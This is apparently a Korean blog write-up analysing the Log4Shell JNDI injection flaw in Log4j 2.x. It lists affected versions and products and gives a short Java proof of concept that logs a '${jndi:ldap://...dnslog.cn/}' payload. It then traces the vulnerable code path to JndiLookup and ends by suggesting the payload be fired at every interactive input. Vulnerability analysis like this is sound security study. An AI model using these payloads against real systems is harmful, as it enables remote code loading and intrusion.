
Jdk7u21 (아무 버전이나 가능)
영향 버전: Apache Log4j 2.x <= 2.14.1
영향을 받는 것으로 알려진 애플리케이션 및 컴포넌트:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
log4j 좌표
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
PoC
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
payload를 보면, 당연히 log4j lookup이나 log4j jndi를 검색하게 된다.
https://logging.apache.org/log4j/2.x/manual/lookups.html [영문 문서]
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [중문 문서]

사용 방법을 보면 여기서 jndi를 지원하며, jndi는 다시 다른 프로토콜을 지원해서 변환이 일어나는 것을 알 수 있다. 자연스럽게 ldap이 떠오른다. 한번 디버깅해 보자. 어젯밤 늦게 디버깅하다가 새벽 5시 반까지 하다가, 아침에 수업이 있어서 자러 갔고, 분석 과정의 스크린샷만 저장해 두었다.

군말 없이 계속 보자. 어젯밤에 여러 번 디버깅했기 때문에 바로 핵심 지점으로 내려가겠다.

바로 핵심 지점으로: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

해당 메서드를 따라가 확인해 보자. Java 기본에서 이 메서드는 문자열을 포맷하는 메서드인데, 여기서도 그런지 모르겠다.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

여기서 getMessage()를 통해 우리의 payload를 가져왔다. 왜일까?


여기서 더 장황하게 설명하지는 않겠다. 계속 아래를 보자.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
여기서는 ${로 시작하는지 검사하고, 그렇다면 실행하여 취약점을 트리거하는 것을 볼 수 있다.



이 메서드의 문서는 여기서 볼 수 있다: https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





사실 문서만 봐도 거의 충분하다. 여기서는 변수 파서(variable resolver)를 가져온다.



이어서 org.apache.logging.log4j.core.lookup.Interpolator#lookup로 들어간다.

해당하는 접두어(prefix)를 가져와 대응하는 jndi 클래스 객체인 JndiLookup을 선택한다.


이로써 jndi 주입을 수행하여 원격 클래스 로딩이라는 목적을 달성한다.


공식 문서를 보면, 사실상 포맷팅을 통해 ${jndi:ldap://uci5xf.dnslog.cn/test}를 실제 데이터로 치환하는 것이다.

참고 문서: https://blog.csdn.net/lqzkcx3/article/details/82050375 log4j는 다시 lookup을 사용해 프로토콜을 획득하는데, 획득되는 프로토콜은 jndi, data, sys 등이 있다. 내부적으로는 map 형태로 저장되어 있으며, 대응하는 key를 감지해 해당 lookup을 가져와 실행한다. 이것이 표준 jndi 주입 취약점을 형성한다.
진입점에서 보면, 로그에 기록되기만 하면 실행될 수 있다는 것을 쉽게 알 수 있다(일부는 불가능한 경우도 있음). 임시로 작성한 것이므로 깊게 파고들지는 않겠다.
공격 방법은 간단하다. 상호작용이 가능한 곳은 전부 다 때려보는 것이다. ㅋㅋㅋ